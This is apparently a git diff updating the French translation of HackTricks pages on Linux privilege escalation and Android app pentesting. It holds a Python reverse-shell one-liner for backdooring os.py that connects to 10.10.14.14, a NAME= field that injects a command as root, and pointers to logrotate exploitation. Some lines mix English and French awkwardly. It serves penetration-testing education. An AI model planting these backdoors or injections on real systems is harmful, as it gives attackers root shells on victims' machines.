-E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Pour pouvoir **lire les logs, le groupe** [**adm**](interesting-groups-linux-pe/index.html#adm-group) sera vraiment utile. +Pour **lire les logs, le groupe** [**adm**](interesting-groups-linux-pe/index.html#adm-group) sera vraiment utile. ### Fichiers Shell ```bash @@ -1379,41 +1381,41 @@ Pour pouvoir **lire les logs, le groupe** [**adm**](interesting-groups-linux-pe/ ``` ### Generic Creds Search/Regex -Vous devriez Ă©galement vĂ©rifier les fichiers contenant le mot "**password**" dans leur **nom** ou dans leur **contenu**, et vĂ©rifier aussi les IPs et les emails dans les logs, ou les regexps de hashes.\ +Vous devriez aussi vĂ©rifier les fichiers contenant le mot "**password**" dans leur **nom** ou dans le **contenu**, et aussi rechercher des IPs et des emails dans les logs, ou des regexps de hashes.\ Je ne vais pas dĂ©tailler ici comment faire tout cela mais si cela vous intĂ©resse vous pouvez consulter les derniĂšres vĂ©rifications que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) effectue. ## Fichiers modifiables ### Python library hijacking -Si vous savez **d'oĂč** un script python va ĂȘtre exĂ©cutĂ© et que vous **pouvez Ă©crire dans** ce dossier ou que vous pouvez **modifier les bibliothĂšques python**, vous pouvez modifier la bibliothĂšque os et y installer une backdoor (si vous pouvez Ă©crire Ă  l'endroit oĂč le script python va ĂȘtre exĂ©cutĂ©, copiez-collez la bibliothĂšque os.py). +Si vous savez depuis **oĂč** un script python va ĂȘtre exĂ©cutĂ© et que vous **pouvez Ă©crire dans** ce dossier ou que vous pouvez **modifier python libraries**, vous pouvez modifier la bibliothĂšque OS et backdoor it (si vous pouvez Ă©crire lĂ  oĂč le script python sera exĂ©cutĂ©, copiez et collez la bibliothĂšque os.py). -Pour **backdoor the library**, ajoutez simplement Ă  la fin de la bibliothĂšque os.py la ligne suivante (remplacez IP et PORT) : +To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Exploitation de logrotate +### Logrotate exploitation -Une vulnĂ©rabilitĂ© dans `logrotate` permet Ă  des utilisateurs ayant des **permissions d'Ă©criture** sur un fichier de log ou ses rĂ©pertoires parents de potentiellement obtenir des privilĂšges escaladĂ©s. En effet, `logrotate`, souvent exĂ©cutĂ© en tant que **root**, peut ĂȘtre manipulĂ© pour exĂ©cuter des fichiers arbitraires, notamment dans des rĂ©pertoires comme _**/etc/bash_completion.d/**_. Il est important de vĂ©rifier les permissions non seulement dans _/var/log_ mais aussi dans tout rĂ©pertoire oĂč la rotation des logs est appliquĂ©e. +Une vulnĂ©rabilitĂ© dans `logrotate` permet Ă  des utilisateurs ayant des **permissions d'Ă©criture** sur un fichier de log ou ses rĂ©pertoires parents d'obtenir potentiellement une Ă©lĂ©vation de privilĂšges. En effet, `logrotate`, souvent exĂ©cutĂ© en tant que **root**, peut ĂȘtre manipulĂ© pour exĂ©cuter des fichiers arbitraires, notamment dans des rĂ©pertoires comme _**/etc/bash_completion.d/**_. Il est important de vĂ©rifier les permissions non seulement dans _/var/log_ mais aussi dans tout rĂ©pertoire oĂč la rotation des logs est appliquĂ©e. > [!TIP] -> Cette vulnĂ©rabilitĂ© affecte `logrotate` version `3.18.0` et antĂ©rieures +> Cette vulnĂ©rabilitĂ© affecte `logrotate` version `3.18.0` et les versions antĂ©rieures -Des informations plus dĂ©taillĂ©es sur la vulnĂ©rabilitĂ© sont disponibles sur cette page : [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +More detailed information about the vulnerability can be found on this page: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -Vous pouvez exploiter cette vulnĂ©rabilitĂ© avec [**logrotten**](https://github.com/whotwagner/logrotten). +You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten). -Cette vulnĂ©rabilitĂ© est trĂšs similaire Ă  [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** donc chaque fois que vous constatez que vous pouvez modifier des logs, vĂ©rifiez qui gĂšre ces logs et voyez si vous pouvez escalader les privilĂšges en substituant les logs par des symlinks. +Cette vulnĂ©rabilitĂ© est trĂšs similaire Ă  [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** donc chaque fois que vous pouvez modifier des logs, vĂ©rifiez qui gĂšre ces logs et voyez si vous pouvez escalader les privilĂšges en remplaçant les logs par des liens symboliques (symlinks). ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**RĂ©fĂ©rence de la vulnĂ©rabilitĂ© :** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Si, pour une raison ou une autre, un utilisateur est capable d'**Ă©crire** un script `ifcf-` dans _/etc/sysconfig/network-scripts_ **ou** d'**ajuster** un script existant, alors votre **systĂšme est pwned**. +If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **systĂšme est pwned**. -Les network scripts, _ifcg-eth0_ par exemple, sont utilisĂ©s pour les connexions rĂ©seau. Ils ressemblent exactement Ă  des fichiers .INI. Cependant, ils sont \~sourced\~ sur Linux par Network Manager (dispatcher.d). +Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are ~sourced~ on Linux by Network Manager (dispatcher.d). -Dans mon cas, l'attribut `NAME=` dans ces network scripts n'est pas gĂ©rĂ© correctement. Si le nom contient un espace, **le systĂšme tente d'exĂ©cuter la partie aprĂšs l'espace**. Cela signifie que **tout ce qui suit le premier espace est exĂ©cutĂ© en tant que root**. +In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1421,17 +1423,17 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Remarque : l'espace vide entre Network et /bin/id_) +(_Remarque : l'espace blanc entre Network et /bin/id_) -### **init, init.d, systemd, et rc.d** +### **init, init.d, systemd, and rc.d** Le rĂ©pertoire `/etc/init.d` contient des **scripts** pour System V init (SysVinit), le **systĂšme classique de gestion des services Linux**. Il inclut des scripts pour `start`, `stop`, `restart`, et parfois `reload` des services. Ceux-ci peuvent ĂȘtre exĂ©cutĂ©s directement ou via des liens symboliques trouvĂ©s dans `/etc/rc?.d/`. Un chemin alternatif sur les systĂšmes Redhat est `/etc/rc.d/init.d`. -D'autre part, `/etc/init` est associĂ© Ă  **Upstart**, un systĂšme de **gestion des services** plus rĂ©cent introduit par Ubuntu, utilisant des fichiers de configuration pour la gestion des services. MalgrĂ© la transition vers Upstart, les scripts SysVinit sont toujours utilisĂ©s en parallĂšle des configurations Upstart grĂące Ă  une couche de compatibilitĂ© dans Upstart. +En revanche, `/etc/init` est associĂ© Ă  **Upstart**, un **gestionnaire de services** plus rĂ©cent introduit par Ubuntu, utilisant des fichiers de configuration pour les tĂąches de gestion des services. MalgrĂ© la transition vers Upstart, les scripts SysVinit sont encore utilisĂ©s parallĂšlement aux configurations Upstart en raison d'une couche de compatibilitĂ© dans Upstart. -**systemd** apparaĂźt comme un gestionnaire d'initialisation et de services moderne, offrant des fonctionnalitĂ©s avancĂ©es telles que le dĂ©marrage Ă  la demande des daemons, la gestion des automounts et des snapshots d'Ă©tat systĂšme. Il organise les fichiers dans `/usr/lib/systemd/` pour les paquets de distribution et `/etc/systemd/system/` pour les modifications administrateur, simplifiant ainsi l'administration systĂšme. +**systemd** apparaĂźt comme un gestionnaire d'initialisation et de services moderne, offrant des fonctionnalitĂ©s avancĂ©es telles que le dĂ©marrage Ă  la demande des daemons, la gestion des automounts et les snapshots d'Ă©tat du systĂšme. Il organise les fichiers dans `/usr/lib/systemd/` pour les paquets de distribution et `/etc/systemd/system/` pour les modifications de l'administrateur, simplifiant le processus d'administration systĂšme. -## Autres astuces +## Autres Tricks ### NFS Privilege escalation @@ -1456,7 +1458,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks hookent couramment un syscall pour exposer des fonctionnalitĂ©s kernel privilĂ©giĂ©es Ă  un manager en userspace. Une authentification faible du manager (par ex., des vĂ©rifications de signature basĂ©es sur FD-order ou des schĂ©mas de mot de passe faibles) peut permettre Ă  une app locale d'usurper le manager et d'escalader en root sur des appareils dĂ©jĂ  rootĂ©s. En savoir plus et dĂ©tails d'exploitation ici : +Les Android rooting frameworks hook a syscall pour exposer des fonctionnalitĂ©s kernel privilĂ©giĂ©es Ă  un userspace manager. Une authentification faible du manager (par ex., des vĂ©rifications de signature basĂ©es sur FD-order ou des schĂ©mas de mot de passe faibles) peut permettre Ă  une app locale d'usurper le manager et d'escalader au root sur des appareils dĂ©jĂ -rootĂ©s. Plus d'informations et dĂ©tails d'exploitation ici : {{#ref}} @@ -1472,22 +1474,22 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Linux/Unix Privesc Tools +## Outils Privesc Linux/Unix -### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Meilleur outil pour rechercher des vecteurs d'escalade de privilĂšges locaux Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** EnumĂšre des kernel vulns sur linux et MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## References +## RĂ©fĂ©rences - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 91a07ac47..8f60df415 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -1,10 +1,10 @@ -# Pentesting des applications Android +# Pentesting d'applications Android {{#include ../../banners/hacktricks-training.md}} ## Notions de base des applications Android -It's highly recommended to start reading this page to know about the **most important parts related to Android security and the most dangerous components in an Android application**: +Il est fortement recommandĂ© de commencer par lire cette page pour connaĂźtre **les parties les plus importantes liĂ©es Ă  la sĂ©curitĂ© Android et les composants les plus dangereux d'une application Android** : {{#ref}} @@ -13,15 +13,15 @@ android-applications-basics.md ## ADB (Android Debug Bridge) -This is the main tool you need to connect to an android device (emulated or physical).\ -**ADB** allows to control devices either over **USB** or **Network** from a computer. This utility enables the **copying** of files in both directions, **installation** and **uninstallation** of apps, **execution** of shell commands, **backing up** of data, **reading** of logs, among other functions. +C'est l'outil principal pour se connecter Ă  un appareil Android (Ă©mulĂ© ou physique).\ +**ADB** permet de contrĂŽler les appareils soit via **USB** soit via **Network** depuis un ordinateur. Cet utilitaire permet la **copie** de fichiers dans les deux sens, l'**installation** et la **dĂ©sinstallation** d'apps, l'**exĂ©cution** de commandes shell, la **sauvegarde** de donnĂ©es, la **lecture** de logs, entre autres fonctions. -Consultez la liste suivante de [**ADB Commands**](adb-commands.md) pour apprendre Ă  utiliser adb. +Take a look to the following list of [**ADB Commands**](adb-commands.md) to learn how to use adb. ## Smali -Parfois il est intĂ©ressant de **modifier le code de l'application** pour accĂ©der Ă  des **informations cachĂ©es** (maybe well obfuscated passwords or flags). Then, it could be interesting to decompile the apk, modify the code and recompile it.\ -[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Cela peut ĂȘtre trĂšs utile comme **alternative pour plusieurs tests lors de l'analyse dynamique** qui sont going to presented. Then, **keep always in mid this possibility**. +Parfois, il peut ĂȘtre utile de **modifier le code de l'application** pour accĂ©der Ă  des **informations cachĂ©es** (par exemple des mots de passe fortement obfusquĂ©s ou des flags). Dans ce cas, il peut ĂȘtre intĂ©ressant de dĂ©compiler l'APK, modifier le code puis le recompiler.\ +[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Cela peut ĂȘtre trĂšs utile comme **alternative pour plusieurs tests lors de l'analyse dynamique** qui vont ĂȘtre prĂ©sentĂ©s. Donc, **gardez toujours Ă  l'esprit cette possibilitĂ©**. ## Autres astuces intĂ©ressantes @@ -29,7 +29,7 @@ Parfois il est intĂ©ressant de **modifier le code de l'application** pour accĂ©d - [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md) - [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md) - [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md) -- **TĂ©lĂ©charger des APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) +- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) - Extraire l'APK depuis l'appareil: ```bash adb shell pm list packages @@ -49,7 +49,7 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk # after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ``` -## Études de cas & VulnĂ©rabilitĂ©s +## Études de cas & vulnĂ©rabilitĂ©s {{#ref}} @@ -68,34 +68,34 @@ Veuillez [**lire ici pour trouver des informations sur les diffĂ©rents dĂ©compil ### Recherche d'informations intĂ©ressantes -En regardant simplement les **strings** de l'APK vous pouvez rechercher des **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), des **api** keys, **encryption**, **bluetooth uuids**, **tokens** et tout ce qui est intĂ©ressant... cherchez mĂȘme des backdoors d'exĂ©cution de code ou des backdoors d'authentification (hardcoded admin credentials dans l'app). +En regardant simplement les **strings** de l'APK, vous pouvez rechercher des **mots de passe**, des **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), des **clĂ©s API**, du **chiffrement**, des **bluetooth UUIDs**, des **tokens** et tout ce qui est intĂ©ressant... cherchez mĂȘme des **backdoors** d'exĂ©cution de code ou des backdoors d'authentification (identifiants admin hardcodĂ©s dans l'app). **Firebase** -Faites particuliĂšrement attention aux **firebase URLs** et vĂ©rifiez si elles sont mal configurĂ©es. [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +Portez une attention particuliĂšre aux **Firebase URLs** et vĂ©rifiez si elles sont mal configurĂ©es. [Plus d'informations sur ce qu'est Firebase et comment l'exploiter ici.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) -### ComprĂ©hension basique de l'application - Manifest.xml, strings.xml +### ComprĂ©hension de base de l'application - Manifest.xml, strings.xml -L'**examen des fichiers _Manifest.xml_ et _strings.xml_ d'une application peut rĂ©vĂ©ler des vulnĂ©rabilitĂ©s de sĂ©curitĂ© potentielles**. Ces fichiers peuvent ĂȘtre consultĂ©s avec des dĂ©compilateurs ou en renommant l'extension du fichier APK en .zip puis en le dĂ©compressant. +L'**examen des fichiers _Manifest.xml_ et _strings.xml_ d'une application peut rĂ©vĂ©ler des vulnĂ©rabilitĂ©s potentielles de sĂ©curitĂ©**. Ces fichiers peuvent ĂȘtre consultĂ©s Ă  l'aide de dĂ©compilateurs ou en renommant l'extension du fichier APK en .zip puis en le dĂ©compressant. -Les **vulnĂ©rabilitĂ©s** identifiĂ©es dans le **_Manifest.xml_** incluent : +Les **vulnĂ©rabilitĂ©s** identifiĂ©es Ă  partir du **Manifest.xml** incluent : -- **Applications dĂ©bogables** : Les applications marquĂ©es comme debuggable (`debuggable="true"`) dans le fichier _Manifest.xml_ prĂ©sentent un risque car elles permettent des connexions pouvant conduire Ă  une exploitation. Pour mieux comprendre comment exploiter des applications debuggable, rĂ©fĂ©rez-vous Ă  un tutoriel sur la dĂ©couverte et l'exploitation des applications debuggable sur un appareil. -- **ParamĂštres de backup** : L'attribut `android:allowBackup="false"` devrait ĂȘtre explicitement dĂ©fini pour les applications traitant des informations sensibles afin d'empĂȘcher des sauvegardes de donnĂ©es non autorisĂ©es via adb, surtout lorsque USB debugging est activĂ©. -- **SĂ©curitĂ© rĂ©seau** : Les configurations de security rĂ©seau personnalisĂ©es (`android:networkSecurityConfig="@xml/network_security_config"`) dans _res/xml/_ peuvent spĂ©cifier des dĂ©tails de sĂ©curitĂ© tels que le certificate pinning et les paramĂštres du trafic HTTP. Un exemple est d'autoriser le trafic HTTP pour des domaines spĂ©cifiques. -- **Activities et Services exportĂ©s** : Identifier les activities et services exportĂ©s dans le manifest peut mettre en Ă©vidence des composants susceptibles d'ĂȘtre abusĂ©s. Une analyse plus poussĂ©e lors de tests dynamiques peut rĂ©vĂ©ler comment exploiter ces composants. -- **Content Providers et FileProviders** : Des content providers exposĂ©s pourraient permettre un accĂšs ou une modification non autorisĂ©s des donnĂ©es. La configuration des FileProviders doit aussi ĂȘtre examinĂ©e. -- **Broadcast Receivers et URL Schemes** : Ces composants pourraient ĂȘtre exploitĂ©s, en prĂȘtant une attention particuliĂšre Ă  la gestion des URL schemes pour les vulnĂ©rabilitĂ©s d'entrĂ©e. -- **Versions SDK** : Les attributs `minSdkVersion`, `targetSDKVersion` et `maxSdkVersion` indiquent les versions Android supportĂ©es, soulignant l'importance de ne pas supporter des versions Android obsolĂštes et vulnĂ©rables pour des raisons de sĂ©curitĂ©. +- **Debuggable Applications** : Les applications dĂ©finies comme debuggable (`debuggable="true"`) dans le fichier _Manifest.xml_ prĂ©sentent un risque car elles permettent des connexions pouvant conduire Ă  une exploitation. Pour comprendre comment exploiter des applications debuggables, consultez un tutoriel sur la recherche et l'exploitation d'applications debuggables sur un appareil. +- **Backup Settings** : L'attribut `android:allowBackup="false"` doit ĂȘtre explicitement dĂ©fini pour les applications manipulant des informations sensibles afin d'empĂȘcher des sauvegardes de donnĂ©es non autorisĂ©es via adb, en particulier lorsque le dĂ©bogage USB est activĂ©. +- **Network Security** : Les configurations de sĂ©curitĂ© rĂ©seau personnalisĂ©es (`android:networkSecurityConfig="@xml/network_security_config"`) dans _res/xml/_ peuvent spĂ©cifier des dĂ©tails de sĂ©curitĂ© comme le pinning de certificats et les paramĂštres de trafic HTTP. Un exemple est d'autoriser le trafic HTTP pour des domaines spĂ©cifiques. +- **Exported Activities and Services** : Identifier les activities et services exportĂ©s dans le manifest peut mettre en Ă©vidence des composants susceptibles d'ĂȘtre dĂ©tournĂ©s. Une analyse supplĂ©mentaire en test dynamique peut rĂ©vĂ©ler comment exploiter ces composants. +- **Content Providers and FileProviders** : Des content providers exposĂ©s pourraient permettre un accĂšs ou une modification non autorisĂ©s des donnĂ©es. La configuration des FileProviders doit Ă©galement ĂȘtre examinĂ©e. +- **Broadcast Receivers and URL Schemes** : Ces composants pourraient ĂȘtre exploitĂ©s, en portant une attention particuliĂšre Ă  la maniĂšre dont les schĂ©mas d'URL sont gĂ©rĂ©s pour les vulnĂ©rabilitĂ©s d'entrĂ©e. +- **SDK Versions** : Les attributs `minSdkVersion`, `targetSDKVersion` et `maxSdkVersion` indiquent les versions Android supportĂ©es, soulignant l'importance de ne pas supporter des versions Android obsolĂštes et vulnĂ©rables pour des raisons de sĂ©curitĂ©. -À partir du fichier **strings.xml**, des informations sensibles telles que des API keys, des custom schemas et d'autres notes de dĂ©veloppeur peuvent ĂȘtre dĂ©couvertes, ce qui souligne la nĂ©cessitĂ© d'un examen attentif de ces ressources. +Depuis le fichier **strings.xml**, des informations sensibles telles que des clĂ©s API, des schemas personnalisĂ©s et d'autres notes de dĂ©veloppeur peuvent ĂȘtre dĂ©couvertes, soulignant la nĂ©cessitĂ© d'un examen attentif de ces ressources. ### Tapjacking -Le **Tapjacking** est une attaque oĂč une **application malveillante** est lancĂ©e et **se positionne au-dessus d'une application victime**. Une fois qu'elle obscurcit visuellement l'application victime, son interface utilisateur est conçue de maniĂšre Ă  tromper l'utilisateur pour qu'il interagisse avec elle, tandis qu'elle transmet l'interaction Ă  l'application victime.\ -En effet, c'est **empĂȘcher l'utilisateur de savoir qu'il effectue en rĂ©alitĂ© des actions sur l'application victime**. +**Tapjacking** est une attaque oĂč une **application** **malveillante** est lancĂ©e et **se positionne au-dessus d'une application victime**. Une fois qu'elle obscurcit visiblement l'application victime, son interface utilisateur est conçue de maniĂšre Ă  tromper l'utilisateur pour qu'il interagisse avec elle, tandis qu'elle transmet l'interaction Ă  l'application victime.\ +En pratique, c'est **aveugler l'utilisateur afin qu'il ne sache pas qu'il effectue en rĂ©alitĂ© des actions sur l'application victime**. -Find more information in: +Trouvez plus d'informations dans : {{#ref}} @@ -104,9 +104,9 @@ tapjacking.md ### Task Hijacking -Une **activity** avec le `launchMode` rĂ©glĂ© sur `singleTask` sans `taskAffinity` dĂ©fini est vulnĂ©rable au **Task Hijacking**. Cela signifie qu'une **application** peut ĂȘtre installĂ©e et, si elle est lancĂ©e avant la vraie application, elle pourrait **dĂ©tourner la task de la vraie application** (l'utilisateur interagira donc avec l'application malveillante en pensant utiliser la vraie). +Une **activity** avec le **`launchMode`** rĂ©glĂ© sur **`singleTask` sans aucun `taskAffinity`** dĂ©fini est vulnĂ©rable au Task Hijacking. Cela signifie qu'une **application** peut ĂȘtre installĂ©e et si elle est lancĂ©e avant la vraie application, elle pourrait **dĂ©tourner la tĂąche de la vraie application** (ainsi l'utilisateur interagira avec l'**application malveillante en pensant utiliser la vĂ©ritable application**). -More info in: +Plus d'infos dans : {{#ref}} @@ -115,71 +115,71 @@ android-task-hijacking.md ### Stockage de donnĂ©es non sĂ©curisĂ© -**Stockage interne** +Internal Storage -Sur Android, les fichiers **stockĂ©s** en **stockage interne** sont **conçus** pour ĂȘtre **accessibles** exclusivement par l'**app** qui les a **créés**. Cette mesure de sĂ©curitĂ© est **appliquĂ©e** par le systĂšme d'exploitation Android et est gĂ©nĂ©ralement suffisante pour les besoins de sĂ©curitĂ© de la plupart des applications. Cependant, les dĂ©veloppeurs utilisent parfois des modes tels que `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE` pour **permettre** le partage de fichiers entre diffĂ©rentes applications. Ces modes **n'empĂȘchent pas l'accĂšs** Ă  ces fichiers par d'autres applications, y compris potentiellement malveillantes. +Sur Android, les fichiers **stockĂ©s** dans le stockage **interne** sont **conçus** pour ĂȘtre **accessibles** exclusivement par l'**app** qui les a **créés**. Cette mesure de sĂ©curitĂ© est **appliquĂ©e** par le systĂšme d'exploitation Android et est gĂ©nĂ©ralement adĂ©quate pour les besoins de sĂ©curitĂ© de la plupart des applications. Cependant, les dĂ©veloppeurs utilisent parfois des modes tels que `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE` pour **permettre** le partage de fichiers entre diffĂ©rentes applications. Pourtant, ces modes **ne restreignent pas l'accĂšs** Ă  ces fichiers par d'autres applications, y compris potentiellement des applications malveillantes. 1. **Analyse statique :** -- **VĂ©rifiez** que l'utilisation de `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE` est **examinĂ©e attentivement**. Ces modes **peuvent potentiellement exposer** des fichiers Ă  un accĂšs non intentionnel ou non autorisĂ©. +- **Assurez-vous** que l'utilisation de `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE` est **soigneusement examinĂ©e**. Ces modes **peuvent potentiellement exposer** des fichiers Ă  un **accĂšs non voulu ou non autorisĂ©**. 2. **Analyse dynamique :** -- **VĂ©rifiez** les **permissions** dĂ©finies sur les fichiers créés par l'app. Plus prĂ©cisĂ©ment, **vĂ©rifiez** si des fichiers sont dĂ©finis comme lisibles ou modifiables par tous. Cela peut reprĂ©senter un risque de sĂ©curitĂ© important, car cela permettrait Ă  **toute application** installĂ©e sur l'appareil, quelle que soit son origine ou son intention, de **lire ou modifier** ces fichiers. +- **VĂ©rifiez** les **permissions** dĂ©finies sur les fichiers créés par l'app. Plus prĂ©cisĂ©ment, **contrĂŽlez** si des fichiers sont **rendus lisibles ou modifiables mondialement**. Cela peut constituer un risque de sĂ©curitĂ© important, car cela permettrait Ă  **n'importe quelle application** installĂ©e sur l'appareil, quel que soit son origine ou son intention, de **lire ou modifier** ces fichiers. -**Stockage externe** +External Storage Lorsqu'on traite des fichiers sur le **stockage externe**, comme les cartes SD, certaines prĂ©cautions doivent ĂȘtre prises : 1. **AccessibilitĂ©** : -- Les fichiers sur le stockage externe sont **globalement lisibles et modifiables**. Cela signifie que n'importe quelle application ou utilisateur peut accĂ©der Ă  ces fichiers. -2. **ProblĂšmes de sĂ©curitĂ©** : +- Les fichiers sur le stockage externe sont **globalement lisibles et modifiables**. Cela signifie que n'importe quelle application ou utilisateur peut y accĂ©der. +2. **PrĂ©occupations de sĂ©curitĂ©** : - Étant donnĂ© la facilitĂ© d'accĂšs, il est conseillĂ© **de ne pas stocker d'informations sensibles** sur le stockage externe. -- Le stockage externe peut ĂȘtre retirĂ© ou accĂ©dĂ© par n'importe quelle application, le rendant moins sĂ»r. +- Le stockage externe peut ĂȘtre retirĂ© ou accĂ©dĂ© par n'importe quelle application, ce qui le rend moins sĂ»r. 3. **Traitement des donnĂ©es provenant du stockage externe** : -- Effectuez toujours une **validation des entrĂ©es** sur les donnĂ©es rĂ©cupĂ©rĂ©es depuis le stockage externe. Ceci est crucial car les donnĂ©es proviennent d'une source non fiable. -- Il est fortement dĂ©conseillĂ© de stocker des exĂ©cutables ou des fichiers de classe sur le stockage externe pour un chargement dynamique. -- Si votre application doit rĂ©cupĂ©rer des fichiers exĂ©cutables depuis le stockage externe, assurez-vous que ces fichiers sont **signĂ©s et vĂ©rifiĂ©s cryptographiquement** avant d'ĂȘtre chargĂ©s dynamiquement. Cette Ă©tape est essentielle pour maintenir l'intĂ©gritĂ© de la sĂ©curitĂ© de votre application. +- Effectuez toujours une **validation d'entrĂ©e** sur les donnĂ©es rĂ©cupĂ©rĂ©es depuis le stockage externe. C'est crucial car les donnĂ©es proviennent d'une source non fiable. +- Il est fortement dĂ©conseillĂ© de stocker des exĂ©cutables ou des fichiers de classes sur le stockage externe pour un chargement dynamique. +- Si votre application doit rĂ©cupĂ©rer des fichiers exĂ©cutables depuis le stockage externe, assurez-vous que ces fichiers sont **signĂ©s et vĂ©rifiĂ©s cryptographiquement** avant qu'ils ne soient chargĂ©s dynamiquement. Cette Ă©tape est vitale pour maintenir l'intĂ©gritĂ© de sĂ©curitĂ© de votre application. -Le stockage externe peut ĂȘtre **accĂ©dĂ©** dans `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` +Le stockage externe peut ĂȘtre **accessible** dans `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` > [!TIP] -> À partir d'Android 4.4 (**API 17**), la carte SD a une structure de rĂ©pertoires qui **limite l'accĂšs d'une app au rĂ©pertoire qui lui est spĂ©cifiquement dĂ©diĂ©**. Cela empĂȘche une application malveillante d'obtenir un accĂšs en lecture ou Ă©criture aux fichiers d'une autre app. +> À partir d'Android 4.4 (**API 17**), la carte SD possĂšde une structure de rĂ©pertoires qui **limite l'accĂšs d'une app au rĂ©pertoire qui est spĂ©cifiquement pour cette app**. 